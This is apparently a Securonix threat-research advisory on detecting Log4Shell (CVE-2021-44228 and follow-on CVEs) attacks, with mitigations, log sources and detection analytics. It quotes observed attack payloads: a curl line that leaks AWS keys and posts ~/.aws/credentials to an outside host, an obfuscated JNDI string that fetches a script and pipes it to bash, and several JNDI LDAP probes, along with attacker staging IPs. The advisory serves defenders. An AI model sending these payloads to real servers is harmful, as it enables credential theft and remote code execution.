Blog

Securonix Security Advisory: Detecting Apache Log4j/Log4Shell (CVE-2021-44228) Attacks and Post-Exploitation Activity

Threat Research

By Den Iuzvyk, Oleg Kolesnikov: Securonix Threat Research/Labs R&D

As the situation develops the latest information can be found here.

On Detection of Apache Log4j/Log4shell (CVE-2021-44228) Attacks and Post-exploitation Activity Using Security Analytics – Securonix Security Advisory (SSA)

By Securonix Threat Research/Labs

Created: 12/10/2021

Last updated: 12/29/2021, v0.05

Figure 1: Example of Log4j Attacks in Action – Part I

Introduction

Securonix Threat Labs R&D/Securonix Threat Research team has been actively monitoring and investigating the details of the critical Log4j/Log4shell attacks (see Figure 1) [1, 3] targeting Apache Log4j/Log4shell JNDI RCE vulnerabilities (CVE-2021-44228, CVE-2021-45046).

Below are some of the key technical details and our recommendations on some possible predictive indicators/security analytics that can be used to detect the current and potentially future attack variants using Securonix.

Update 12/28: A new attack vector targeting Apache Log4j v2.x, including v2.17.0, has been reported [13]. The vector enables an attacker with a permission to modify the logging configuration file to construct a malicious configuration with a data source referencing a JNDI URI, which can then execute remote code. Based on our initial analysis, the existing Securonix log4j threat content should help detect the malicious attack activity associated with the new attack vector.

Figure 2: Example of Log4j Attacks in Action – Part 2

Summary

What You Need to Know

A zero-day Apache Log4j vulnerability (CVE-2021-44228), publicly released on December 9, 2021, and known as Log4Shell, has been actively targeted in the wild since at least last week or earlier. CVE-2021-44228 has been assigned the highest “Critical” severity rating with a maximum risk score of 10.
No-auth, arbitrary code execution as the user that the parent process, e.g. java[w].exe, is running as (can be a Java class payload code fetched from the public Internet, fetching shared secrets or environment variables and returning them to the attacker, etc.)
A new CVE-2021-45046 has been released stating that upgrading to Log4j version 2.15.0 is insufficient and is still vulnerable to Log4Shell.
Additional log4j attack vectors, including a DoS caused by a buffer overflow in Context Lookups (CVE-2021-45105), a client-side exploit using Websockets, a JDBC appender 2.17 RCE (CVE-2021-44832) reported, requiring an upgrade to 2.17.1.
Further details on the vulnerability can be found here.

What You Can Do

Temporary Log4j workarounds, patches, and upgrades are available to address the vulnerability [1].
Due to the nature of the vulnerability, our recommendation is to assume breach. Perform additional retroactive hunting and remediation beyond simply patching and upgrading (see our recommendations below).
Due to a large number of possible evasion approaches, particularly for the initial infiltration, we strongly recommend not to rely solely on signature detection. Instead focus on behavior-based detections that look at the associated processes and component activity, e.g. java.exe, w3wp.exe etc., as well as network activity associated with potentially vulnerable targets, e.g. ldap/s connections, etc. (see below).

Figure 3: Log4j Dependencies in Github – 470,132 Repositories

Figure 4: Examples of What Some Log4j Attacks Might Look Like in Logs and Some Observed Malicious Real-World Attack Activity From Our Telemetry

Real-world attacks: Some examples of real-world attack payloads leveraging Log4shell observed from our continuous security monitoring to date include:

Ransomware payloads (e.g. Sabsik/f2e3f685256e5f31b05fc9f9ca470f527d7fdae28fa3190c8eba179473e20789, et al.).
Botnets deployed (Muhstik, et al.).
Cryptominers deployed (Xmrig, et al.).
Remote access trojans deployed (R$NUKE aka Orcus, et al.).
Stealing victim’s details through environment variables (AWS, DB credentials etc.) via quick break-and-enter – curl http://<victim> -H ‘X-Api-Version: ${jndi:ldap://${env:AWS_ACCESS_KEY_ID}.${env:AWS_SECRET_ACCESS_KEY}.malicious.com’ & curl -d “$(cat ~/.aws/credentials)” https://<redacted>.interactsh.com
Various reverse shells deployed (Powershell, bash, etc.).

Update 12/22: Some sample initial probing/payloads observed in recent days include:

“${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160\.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC80Ni4xMDEuODcuMTUxOjQ0M3x8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC80Ni4xMDEuODcuMTUxOjQ0Myl8YmFzaA==}”
“search?q=$%7Bjndi:ldap://78.31.71\.248:1389/oeass4%7D”
“hello?username=$%7Bjndi:ldap://78.31.71.248:1389/oeass4%7D”
“${jndi:ldap://192.46.216\.224:1389/Exploit}”
“/?id=%24%7Bjndi%3Aldap%3A%2F%2F185.18.52\.155%3A1389%2FApp%7D” and a number of others (see Figure 4).

Figure 5: Example of Likely Origin of the Log4j Software Security Issue – New Log4j2 Feature Request/Patch From 2013

Log4shell Attacks – Some Examples of Recommended Log/Data Sources

To increase the chances of detecting this malicious activity associated with the Log4shell attacks, some of the key recommended log/data sources to collect/leverage are:

Web server infrastructure logs
NGFW logs
Endpoint Management System, EDR and Cloud EDR logs
FIM/file creation logs
Reverse web proxy logs
Windows Event logs
Unix-Linix-AIX logs
Powershell logs
NTA logs
IDS/IPS logs
Any application logs related to in-house applications leveraging Log4j et al.

Figure 6: Example of an Automated Log4j Attack Obfuscation/Evasions Generator

Log4j/Log4shell Attacks – Attack Insights and Some Relevant Detection Observations

From our security analysis of the Log4j/Log4shell attacks and monitoring of the real-world attacks targeting the related attack/related vulnerabilities (see Figure 2), some relevant technical observations to help with detection and hunting are as follows:

Based on our analysis of the relevant Apache log4j code/patches, the likely Apache log4j feature request from 2013 that gave rise to the original Log4j/Log4shell vulnerability is shown in Figure 5;
There are over 470,132 projects on github alone that depend on log4j that could potentially be associated with additional attack vectors that need to be covered in regards to log4j (see Figure 3);
Remember that patching and upgrading does not mitigate any potential compromise in progress, so consider remaining in incident response mode and continue active monitoring

Update 12/22: Based on our latest observations from the real-world attack activity involving log4j, in order to increase the chances of detecting successful exploitation, in addition to the initial “scanning/testing” infrastructure used by attackers that is often short-lived/involving Tor exit nodes, the recommendation is to pay more attention to the malicious payload staging following the initial exploitation that are often associated with successful exploitation. Some of the latest most prevalent log4j staging infrastructure we have been observing associated with successful attacks include:

210.141.105.67
209.141.46.114
195.54.160.149
177.52.40.22
159.89.182.117
152.67.63.150
103.13.230.149
62.210.130.250
54.210.230.186
45.80.181.55
45.130.229.168
34.221.40.237
31.220.58.29
18.228.7.109

Do not rely on your up-to-date JRE version as the latest exploit kits support any Java version as long as serialized classes are in classpath;
Consider restricting connections *initiated* from your servers leveraging Log4j components to *only* the required ports, e.g. if LDAP/LDAPS is not required for BAU of your apps, consider disabling outgoing connections at the fw level. This is good practise and should generally disrupt many attack vectors;
There are a number of known evasions and attack tools that automate generation of Log4j exploits in a way that intends to bypass rules and signature-based detection (see Figure 6);
The idea of JNDI injection exploitation in Java is not new – see https://www.veracode.com/blog/research/exploiting-jndi-injections-java, and due to the impact of the vulnerability (there is also a significant number of software components that depend on Log4j. For example, on Github only there are over 470,132 projects depending on Log4j (see Figure 3). We expect that more new and evolved existing attack vectors will likely appear besides the two vulnerabilities that have been identified e.g. CVE-2021-4104 involving JMSAppender in Log4j 1.2 that is targeted via deserialization of untrusted data via TopicBindingName and TopicConnectionFactoryBindingName configurations causing JMSAppender to perform JNDI requests that result in RCE similar to CVE-2021-44228, the client-side/localhost log4j attack vector targeting 2.15.* [10], etc. .

Update 12/17/21: An additional client-side attack vector associated with CVE-2021-44228 that uses a client-side exploit/Websockets has been reported by Bluemira [10]. Based on our initial analysis of the attack vector, some of the existing Securonix detections, including:

Unusual LDAPs Network Connection From Java Application
Suspicious Process Launched by Log4j Logging Server Executable Analytic
Unusual Download Attempt From Log4j Logging Server Analytic

and others (see <link to our detection content page> for further details) should help detect the activity associated with the new attack vector. Further analysis of the additional attack vector is currently in progress. Once more details are available, we may update our detections.

Update 12/29/21: A new Log4j2 vulnerability (CVE-2021-44832) that uses JDBC Appender has been reported [13]. The new Log4j2 vulnerability targets Apache Log4j2 versions 2.0-beta7 through 2.17.0 (excluding security fix releases 2.3.2 and 2.12.4) that are vulnerable to a remote code execution (RCE) attack where an attacker with permission to modify the logging configuration file can construct a malicious configuration using a JDBC Appender with a data source referencing an JNDI URI which can execute remote code. This issue is fixed by limiting JNDI data source names to the java protocol in Log4j2 versions 2.17.1, 2.12.4, and 2.3.2.

– The complexity of this vulnerability is relatively higher than the original CVE-2021-44228 since it requires the attacker to have control over the configuration. Specifically, in log4j, there is a feature to load a remote configuration file or to configure the logger through the code, so an remote code execution (RCE) could be achieved, e.g. through a MITM attack, with user input ending up in a vulnerable configuration variable, or modifying the config file.

– This vulnerability doesn’t use the disabled JNDI lookup feature directly, but does share some common behaviors with the earlier log4j attack vectors, i.e. the use of an JNDI URI to download malicious Java class code. Based on our initial analysis, the existing Securonix detections should help provide proactive security detection coverage for this new Log4j attack vector (see below).

Based on the details above, the recommendation is to leverage behavior-based detections across *multiple log/data sources* to increase chances of detecting new evasion attempts and future attack vectors, and not relying on signatures as much as possible;

Figure 7: Excerpt of the Apache Log4j/Log4shell Attacks Detection in Securonix Labs

One vector that allowed exposure to this vulnerability was Log4j’s acceptance of Lookups in log messages. As of Log4j 2.16.0+ this feature is now disabled by default. While an option has been provided to enable Lookups in this fashion, users are strongly discouraged from enabling it again.

Please keep in mind that even if your software does not use Log4j directly, it may still be vulnerable through the other software components and infrastructure that it is leveraging including database server, message queues, application server, network components, and others (see Figure 3).

Updated 12/18/21:

An additional attack vector associated with CVE-2021-44228 that uses a client-side exploit/web-sockets was reported by Blumira [10]. Based on our initial analysis of the attack vector, some of the existing Securonix detections, including:

Unusual LDAPs Network Connection From Java Application
Suspicious Process Launched by Log4j Logging Server Executable Analytic
Unusual Download Attempt From Log4j Logging Server Analytic

And other log4j exploitation detection policies listed here should help detect the activity associated with this.

Log4j/Log4shell Attacks – Threat Hunting – Sample Spotter Search Queries

Please find below some examples of the trivial Spotter queries to assist with initial threat hunting/retrohunting/identifying some possible attack behaviors based on the details above.

Additionally, please refer to the Securonix Threat Research Blog for updates and check the section on “Log4j Vulnerability – Spotter queries” for additional queries.

Note: Because of the rapidly changing attack landscape, we recommend not to rely on static IOAs/queries alone and to also implement the relevant Securonix analytics/predictive indicators for the best possible protection (see below).

Title: Possible CVE-2021-44228 Exploitation Attempt UserAgent Analytic

Description: WEB-SRV9-RUN This query helps in detecting attempts to exploit the Log4J vulnerability having CVE Id CVE-2021-44228 by embedding a malicious payload in the User Agent HTTP header.

Note: UserAgent is typically mapped with requestclientapplication